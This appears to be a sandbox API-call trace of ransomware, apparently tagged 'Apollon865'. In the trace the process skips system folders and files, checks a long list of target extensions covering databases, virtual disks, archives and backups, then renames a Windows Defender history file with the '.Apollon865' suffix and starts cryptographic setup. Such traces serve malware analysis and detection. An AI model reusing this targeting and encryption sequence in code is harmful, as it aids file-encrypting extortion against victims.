	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="..") returned 1
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="windows") returned -1
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="bootmgr") returned -1
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="temp") returned -1
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="pagefile.sys") returned -1
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="boot") returned -1
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="ids.txt") returned -1
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="ntuser.dat") returned -1
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="perflogs") returned -1
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="MSBuild") returned -1
	[0079.381] lstrlenW (lpString="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned 38
	[0079.381] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*") returned 78
	[0079.381] lstrcpyW (in: lpString1=0x119e6a2, lpString2="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}" | out: lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}"
	[0079.381] lstrlenW (lpString="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned 38
	[0079.381] lstrlenW (lpString="Apollon865") returned 10
	[0079.381] lstrcmpiW (lpString1="8D4A9AFB0}", lpString2="Apollon865") returned -1
	[0079.381] lstrlenW (lpString=".dll") returned 4
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2=".dll") returned 1
	[0079.381] lstrlenW (lpString=".lnk") returned 4
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2=".lnk") returned 1
	[0079.381] lstrlenW (lpString=".ini") returned 4
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2=".ini") returned 1
	[0079.381] lstrlenW (lpString=".sys") returned 4
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2=".sys") returned 1
	[0079.381] lstrlenW (lpString="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned 38
	[0079.381] lstrlenW (lpString="bak") returned 3
	[0079.381] lstrcmpiW (lpString1="B0}", lpString2="bak") returned -1
	[0079.381] lstrlenW (lpString="ba_") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="ba_") returned -1
	[0079.382] lstrlenW (lpString="dbb") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="dbb") returned -1
	[0079.382] lstrlenW (lpString="vmdk") returned 4
	[0079.382] lstrcmpiW (lpString1="FB0}", lpString2="vmdk") returned -1
	[0079.382] lstrlenW (lpString="rar") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="rar") returned -1
	[0079.382] lstrlenW (lpString="zip") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="zip") returned -1
	[0079.382] lstrlenW (lpString="tgz") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="tgz") returned -1
	[0079.382] lstrlenW (lpString="vbox") returned 4
	[0079.382] lstrcmpiW (lpString1="FB0}", lpString2="vbox") returned -1
	[0079.382] lstrlenW (lpString="vdi") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="vdi") returned -1
	[0079.382] lstrlenW (lpString="vhd") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="vhd") returned -1
	[0079.382] lstrlenW (lpString="vhdx") returned 4
	[0079.382] lstrcmpiW (lpString1="FB0}", lpString2="vhdx") returned -1
	[0079.382] lstrlenW (lpString="avhd") returned 4
	[0079.382] lstrcmpiW (lpString1="FB0}", lpString2="avhd") returned 1
	[0079.382] lstrlenW (lpString="db") returned 2
	[0079.382] lstrcmpiW (lpString1="0}", lpString2="db") returned -1
	[0079.382] lstrlenW (lpString="db2") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="db2") returned -1
	[0079.382] lstrlenW (lpString="db3") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="db3") returned -1
	[0079.382] lstrlenW (lpString="dbf") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="dbf") returned -1
	[0079.382] lstrlenW (lpString="mdf") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="mdf") returned -1
	[0079.382] lstrlenW (lpString="mdb") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="mdb") returned -1
	[0079.382] lstrlenW (lpString="sql") returned 3
	[0079.382] lstrcmpiW (lpString1="B0}", lpString2="sql") returned -1
	[0079.382] lstrlenW (lpString="sqlite") returned 6
	[0079.382] lstrcmpiW (lpString1="9AFB0}", lpString2="sqlite") returned -1
	[0079.382] lstrlenW (lpString="sqlite3") returned 7
	[0079.382] lstrcmpiW (lpString1="A9AFB0}", lpString2="sqlite3") returned -1
	[0079.383] lstrlenW (lpString="sqlitedb") returned 8
	[0079.383] lstrcmpiW (lpString1="4A9AFB0}", lpString2="sqlitedb") returned -1
	[0079.383] lstrlenW (lpString="xml") returned 3
	[0079.383] lstrcmpiW (lpString1="B0}", lpString2="xml") returned -1
	[0079.383] lstrlenW (lpString="$er") returned 3
	[0079.383] lstrcmpiW (lpString1="B0}", lpString2="$er") returned 1
	[0079.383] lstrlenW (lpString="4dd") returned 3
	[0079.383] lstrcmpiW (lpString1="B0}", lpString2="4dd") returned 1
	[0079.383] lstrlenW (lpString="4dl") returned 3
	[0079.383] lstrcmpiW (lpString1="B0}", lpString2="4dl") returned 1
	[0079.383] lstrlenW (lpString="^^^") returned 3
	[0079.383] lstrcmpiW (lpString1="B0}", lpString2="^^^") returned 1
	[0079.383] lstrlenW (lpString="abs") returned 3
	[0079.383] lstrcmpiW (lpString1="B0}", lpString2="abs") returned 1
	[0079.383] lstrlenW (lpString="abx") returned 3
	[0079.383] lstrcmpiW (lpString1="B0}", lpString2="abx") returned 1
	[0079.383] lstrlenW (lpString="accdb") returned 5
	[0079.383] lstrcmpiW (lpString1="AFB0}", lpString2="accdb") returned 1
	[0079.383] lstrlenW (lpString="accdc") returned 5
	[0079.383] lstrcmpiW (lpString1="AFB0}", lpString2="accdc") returned 1
	[0079.383] lstrlenW (lpString="accde") returned 5
	[0079.383] lstrcmpiW (lpString1="AFB0}", lpString2="accde") returned 1
	[0079.383] lstrlenW (lpString="accdr") returned 5
	[0079.383] lstrcmpiW (lpString1="AFB0}", lpString2="accdr") returned 1
	[0079.383] lstrlenW (lpString="accdt") returned 5
	[0079.383] lstrcmpiW (lpString1="AFB0}", lpString2="accdt") returned 1
	[0079.383] lstrlenW (lpString="accdw") returned 5
	[0079.383] lstrcmpiW (lpString1="AFB0}", lpString2="accdw") returned 1
	[0079.383] lstrlenW (lpString="accft") returned 5
	[0079.383] lstrcmpiW (lpString1="AFB0}", lpString2="accft") returned 1
	[0079.383] lstrlenW (lpString="adb") returned 3
	[0079.383] lstrcmpiW (lpString1="B0}", lpString2="adb") returned 1
	[0079.383] lstrlenW (lpString="adb") returned 3
	[0079.383] lstrcmpiW (lpString1="B0}", lpString2="adb") returned 1
	[0079.383] lstrlenW (lpString="ade") returned 3
	[0079.383] lstrcmpiW (lpString1="B0}", lpString2="ade") returned 1
	[0079.383] lstrlenW (lpString="adf") returned 3
	[0079.383] lstrcmpiW (lpString1="B0}", lpString2="adf") returned 1
	[0079.383] lstrlenW (lpString="adn") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="adn") returned 1
	[0079.384] lstrlenW (lpString="adp") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="adp") returned 1
	[0079.384] lstrlenW (lpString="alf") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="alf") returned 1
	[0079.384] lstrlenW (lpString="ask") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="ask") returned 1
	[0079.384] lstrlenW (lpString="btr") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="btr") returned -1
	[0079.384] lstrlenW (lpString="cat") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="cat") returned -1
	[0079.384] lstrlenW (lpString="cdb") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="cdb") returned -1
	[0079.384] lstrlenW (lpString="ckp") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="ckp") returned -1
	[0079.384] lstrlenW (lpString="cma") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="cma") returned -1
	[0079.384] lstrlenW (lpString="cpd") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="cpd") returned -1
	[0079.384] lstrlenW (lpString="dacpac") returned 6
	[0079.384] lstrcmpiW (lpString1="9AFB0}", lpString2="dacpac") returned -1
	[0079.384] lstrlenW (lpString="dad") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="dad") returned -1
	[0079.384] lstrlenW (lpString="dadiagrams") returned 10
	[0079.384] lstrcmpiW (lpString1="8D4A9AFB0}", lpString2="dadiagrams") returned -1
	[0079.384] lstrlenW (lpString="daschema") returned 8
	[0079.384] lstrcmpiW (lpString1="4A9AFB0}", lpString2="daschema") returned -1
	[0079.384] lstrlenW (lpString="db-journal") returned 10
	[0079.384] lstrcmpiW (lpString1="8D4A9AFB0}", lpString2="db-journal") returned -1
	[0079.384] lstrlenW (lpString="db-shm") returned 6
	[0079.384] lstrcmpiW (lpString1="9AFB0}", lpString2="db-shm") returned -1
	[0079.384] lstrlenW (lpString="db-wal") returned 6
	[0079.384] lstrcmpiW (lpString1="9AFB0}", lpString2="db-wal") returned -1
	[0079.384] lstrlenW (lpString="dbc") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="dbc") returned -1
	[0079.384] lstrlenW (lpString="dbs") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="dbs") returned -1
	[0079.384] lstrlenW (lpString="dbt") returned 3
	[0079.384] lstrcmpiW (lpString1="B0}", lpString2="dbt") returned -1
	[0079.385] lstrlenW (lpString="dbv") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="dbv") returned -1
	[0079.385] lstrlenW (lpString="dbx") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="dbx") returned -1
	[0079.385] lstrlenW (lpString="dcb") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="dcb") returned -1
	[0079.385] lstrlenW (lpString="dct") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="dct") returned -1
	[0079.385] lstrlenW (lpString="dcx") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="dcx") returned -1
	[0079.385] lstrlenW (lpString="ddl") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="ddl") returned -1
	[0079.385] lstrlenW (lpString="dlis") returned 4
	[0079.385] lstrcmpiW (lpString1="FB0}", lpString2="dlis") returned 1
	[0079.385] lstrlenW (lpString="dp1") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="dp1") returned -1
	[0079.385] lstrlenW (lpString="dqy") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="dqy") returned -1
	[0079.385] lstrlenW (lpString="dsk") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="dsk") returned -1
	[0079.385] lstrlenW (lpString="dsn") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="dsn") returned -1
	[0079.385] lstrlenW (lpString="dtsx") returned 4
	[0079.385] lstrcmpiW (lpString1="FB0}", lpString2="dtsx") returned 1
	[0079.385] lstrlenW (lpString="dxl") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="dxl") returned -1
	[0079.385] lstrlenW (lpString="eco") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="eco") returned -1
	[0079.385] lstrlenW (lpString="ecx") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="ecx") returned -1
	[0079.385] lstrlenW (lpString="edb") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="edb") returned -1
	[0079.385] lstrlenW (lpString="epim") returned 4
	[0079.385] lstrcmpiW (lpString1="FB0}", lpString2="epim") returned 1
	[0079.385] lstrlenW (lpString="fcd") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="fcd") returned -1
	[0079.385] lstrlenW (lpString="fdb") returned 3
	[0079.385] lstrcmpiW (lpString1="B0}", lpString2="fdb") returned -1
	[0079.386] lstrlenW (lpString="fic") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="fic") returned -1
	[0079.386] lstrlenW (lpString="flexolibrary") returned 12
	[0079.386] lstrcmpiW (lpString1="848D4A9AFB0}", lpString2="flexolibrary") returned -1
	[0079.386] lstrlenW (lpString="fm5") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="fm5") returned -1
	[0079.386] lstrlenW (lpString="fmp") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="fmp") returned -1
	[0079.386] lstrlenW (lpString="fmp12") returned 5
	[0079.386] lstrcmpiW (lpString1="AFB0}", lpString2="fmp12") returned -1
	[0079.386] lstrlenW (lpString="fmpsl") returned 5
	[0079.386] lstrcmpiW (lpString1="AFB0}", lpString2="fmpsl") returned -1
	[0079.386] lstrlenW (lpString="fol") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="fol") returned -1
	[0079.386] lstrlenW (lpString="fp3") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="fp3") returned -1
	[0079.386] lstrlenW (lpString="fp4") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="fp4") returned -1
	[0079.386] lstrlenW (lpString="fp5") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="fp5") returned -1
	[0079.386] lstrlenW (lpString="fp7") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="fp7") returned -1
	[0079.386] lstrlenW (lpString="fpt") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="fpt") returned -1
	[0079.386] lstrlenW (lpString="frm") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="frm") returned -1
	[0079.386] lstrlenW (lpString="gdb") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="gdb") returned -1
	[0079.386] lstrlenW (lpString="gdb") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="gdb") returned -1
	[0079.386] lstrlenW (lpString="grdb") returned 4
	[0079.386] lstrcmpiW (lpString1="FB0}", lpString2="grdb") returned -1
	[0079.386] lstrlenW (lpString="gwi") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="gwi") returned -1
	[0079.386] lstrlenW (lpString="hdb") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="hdb") returned -1
	[0079.386] lstrlenW (lpString="his") returned 3
	[0079.386] lstrcmpiW (lpString1="B0}", lpString2="his") returned -1
	[0079.386] lstrlenW (lpString="ib") returned 2
	[0079.387] lstrcmpiW (lpString1="0}", lpString2="ib") returned -1
	[0079.387] lstrlenW (lpString="idb") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="idb") returned -1
	[0079.387] lstrlenW (lpString="ihx") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="ihx") returned -1
	[0079.387] lstrlenW (lpString="itdb") returned 4
	[0079.387] lstrcmpiW (lpString1="FB0}", lpString2="itdb") returned -1
	[0079.387] lstrlenW (lpString="itw") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="itw") returned -1
	[0079.387] lstrlenW (lpString="jet") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="jet") returned -1
	[0079.387] lstrlenW (lpString="jtx") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="jtx") returned -1
	[0079.387] lstrlenW (lpString="kdb") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="kdb") returned -1
	[0079.387] lstrlenW (lpString="kexi") returned 4
	[0079.387] lstrcmpiW (lpString1="FB0}", lpString2="kexi") returned -1
	[0079.387] lstrlenW (lpString="kexic") returned 5
	[0079.387] lstrcmpiW (lpString1="AFB0}", lpString2="kexic") returned -1
	[0079.387] lstrlenW (lpString="kexis") returned 5
	[0079.387] lstrcmpiW (lpString1="AFB0}", lpString2="kexis") returned -1
	[0079.387] lstrlenW (lpString="lgc") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="lgc") returned -1
	[0079.387] lstrlenW (lpString="lwx") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="lwx") returned -1
	[0079.387] lstrlenW (lpString="maf") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="maf") returned -1
	[0079.387] lstrlenW (lpString="maq") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="maq") returned -1
	[0079.387] lstrlenW (lpString="mar") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="mar") returned -1
	[0079.387] lstrlenW (lpString="marshal") returned 7
	[0079.387] lstrcmpiW (lpString1="A9AFB0}", lpString2="marshal") returned -1
	[0079.387] lstrlenW (lpString="mas") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="mas") returned -1
	[0079.387] lstrlenW (lpString="mav") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="mav") returned -1
	[0079.387] lstrlenW (lpString="maw") returned 3
	[0079.387] lstrcmpiW (lpString1="B0}", lpString2="maw") returned -1
	[0079.388] lstrlenW (lpString="mdbhtml") returned 7
	[0079.388] lstrcmpiW (lpString1="A9AFB0}", lpString2="mdbhtml") returned -1
	[0079.388] lstrlenW (lpString="mdn") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="mdn") returned -1
	[0079.388] lstrlenW (lpString="mdt") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="mdt") returned -1
	[0079.388] lstrlenW (lpString="mfd") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="mfd") returned -1
	[0079.388] lstrlenW (lpString="mpd") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="mpd") returned -1
	[0079.388] lstrlenW (lpString="mrg") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="mrg") returned -1
	[0079.388] lstrlenW (lpString="mud") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="mud") returned -1
	[0079.388] lstrlenW (lpString="mwb") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="mwb") returned -1
	[0079.388] lstrlenW (lpString="myd") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="myd") returned -1
	[0079.388] lstrlenW (lpString="ndf") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="ndf") returned -1
	[0079.388] lstrlenW (lpString="nnt") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="nnt") returned -1
	[0079.388] lstrlenW (lpString="nrmlib") returned 6
	[0079.388] lstrcmpiW (lpString1="9AFB0}", lpString2="nrmlib") returned -1
	[0079.388] lstrlenW (lpString="ns2") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="ns2") returned -1
	[0079.388] lstrlenW (lpString="ns3") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="ns3") returned -1
	[0079.388] lstrlenW (lpString="ns4") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="ns4") returned -1
	[0079.388] lstrlenW (lpString="nsf") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="nsf") returned -1
	[0079.388] lstrlenW (lpString="nv") returned 2
	[0079.388] lstrcmpiW (lpString1="0}", lpString2="nv") returned -1
	[0079.388] lstrlenW (lpString="nv2") returned 3
	[0079.388] lstrcmpiW (lpString1="B0}", lpString2="nv2") returned -1
	[0079.388] lstrlenW (lpString="nwdb") returned 4
	[0079.388] lstrcmpiW (lpString1="FB0}", lpString2="nwdb") returned -1
	[0079.388] lstrlenW (lpString="nyf") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="nyf") returned -1
	[0079.389] lstrlenW (lpString="odb") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="odb") returned -1
	[0079.389] lstrlenW (lpString="odb") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="odb") returned -1
	[0079.389] lstrlenW (lpString="oqy") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="oqy") returned -1
	[0079.389] lstrlenW (lpString="ora") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="ora") returned -1
	[0079.389] lstrlenW (lpString="orx") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="orx") returned -1
	[0079.389] lstrlenW (lpString="owc") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="owc") returned -1
	[0079.389] lstrlenW (lpString="p96") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="p96") returned -1
	[0079.389] lstrlenW (lpString="p97") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="p97") returned -1
	[0079.389] lstrlenW (lpString="pan") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="pan") returned -1
	[0079.389] lstrlenW (lpString="pdb") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="pdb") returned -1
	[0079.389] lstrlenW (lpString="pdm") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="pdm") returned -1
	[0079.389] lstrlenW (lpString="pnz") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="pnz") returned -1
	[0079.389] lstrlenW (lpString="qry") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="qry") returned -1
	[0079.389] lstrlenW (lpString="qvd") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="qvd") returned -1
	[0079.389] lstrlenW (lpString="rbf") returned 3
	[0079.389] lstrcmpiW (lpString1="B0}", lpString2="rbf") returned -1
	[0079.389] lstrlenW (lpString="rctd") returned 4
	[0079.390] lstrcmpiW (lpString1="FB0}", lpString2="rctd") returned -1
	[0079.390] lstrlenW (lpString="rod") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="rod") returned -1
	[0079.390] lstrlenW (lpString="rodx") returned 4
	[0079.390] lstrcmpiW (lpString1="FB0}", lpString2="rodx") returned -1
	[0079.390] lstrlenW (lpString="rpd") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="rpd") returned -1
	[0079.390] lstrlenW (lpString="rsd") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="rsd") returned -1
	[0079.390] lstrlenW (lpString="sas7bdat") returned 8
	[0079.390] lstrcmpiW (lpString1="4A9AFB0}", lpString2="sas7bdat") returned -1
	[0079.390] lstrlenW (lpString="sbf") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="sbf") returned -1
	[0079.390] lstrlenW (lpString="scx") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="scx") returned -1
	[0079.390] lstrlenW (lpString="sdb") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="sdb") returned -1
	[0079.390] lstrlenW (lpString="sdc") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="sdc") returned -1
	[0079.390] lstrlenW (lpString="sdf") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="sdf") returned -1
	[0079.390] lstrlenW (lpString="sis") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="sis") returned -1
	[0079.390] lstrlenW (lpString="spq") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="spq") returned -1
	[0079.390] lstrlenW (lpString="te") returned 2
	[0079.390] lstrcmpiW (lpString1="0}", lpString2="te") returned -1
	[0079.390] lstrlenW (lpString="teacher") returned 7
	[0079.390] lstrcmpiW (lpString1="A9AFB0}", lpString2="teacher") returned -1
	[0079.390] lstrlenW (lpString="tmd") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="tmd") returned -1
	[0079.390] lstrlenW (lpString="tps") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="tps") returned -1
	[0079.390] lstrlenW (lpString="trc") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="trc") returned -1
	[0079.390] lstrlenW (lpString="trc") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="trc") returned -1
	[0079.390] lstrlenW (lpString="trm") returned 3
	[0079.390] lstrcmpiW (lpString1="B0}", lpString2="trm") returned -1
	[0079.391] lstrlenW (lpString="udb") returned 3
	[0079.391] lstrcmpiW (lpString1="B0}", lpString2="udb") returned -1
	[0079.391] lstrlenW (lpString="udl") returned 3
	[0079.391] lstrcmpiW (lpString1="B0}", lpString2="udl") returned -1
	[0079.391] lstrlenW (lpString="usr") returned 3
	[0079.391] lstrcmpiW (lpString1="B0}", lpString2="usr") returned -1
	[0079.391] lstrlenW (lpString="v12") returned 3
	[0079.391] lstrcmpiW (lpString1="B0}", lpString2="v12") returned -1
	[0079.391] lstrlenW (lpString="vis") returned 3
	[0079.391] lstrcmpiW (lpString1="B0}", lpString2="vis") returned -1
	[0079.391] lstrlenW (lpString="vpd") returned 3
	[0079.391] lstrcmpiW (lpString1="B0}", lpString2="vpd") returned -1
	[0079.391] lstrlenW (lpString="vvv") returned 3
	[0079.391] lstrcmpiW (lpString1="B0}", lpString2="vvv") returned -1
	[0079.391] lstrlenW (lpString="wdb") returned 3
	[0079.391] lstrcmpiW (lpString1="B0}", lpString2="wdb") returned -1
	[0079.391] lstrlenW (lpString="wmdb") returned 4
	[0079.391] lstrcmpiW (lpString1="FB0}", lpString2="wmdb") returned -1
	[0079.391] lstrlenW (lpString="wrk") returned 3
	[0079.391] lstrcmpiW (lpString1="B0}", lpString2="wrk") returned -1
	[0079.391] lstrlenW (lpString="xdb") returned 3
	[0079.391] lstrcmpiW (lpString1="B0}", lpString2="xdb") returned -1
	[0079.391] lstrlenW (lpString="xld") returned 3
	[0079.391] lstrcmpiW (lpString1="B0}", lpString2="xld") returned -1
	[0079.391] lstrlenW (lpString="xmlff") returned 5
	[0079.391] lstrcmpiW (lpString1="AFB0}", lpString2="xmlff") returned -1
	[0079.391] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}.Apollon865") returned 126
	[0079.391] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\resource\\{1d1dbf3a-752f-47e2-be70-d848d4a9afb0}"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\resource\\{1d1dbf3a-752f-47e2-be70-d848d4a9afb0}.apollon865"), dwFlags=0x1) returned 1
	[0079.392] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\resource\\{1d1dbf3a-752f-47e2-be70-d848d4a9afb0}.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0079.392] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=6752) returned 1
	[0079.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0079.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0079.393] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
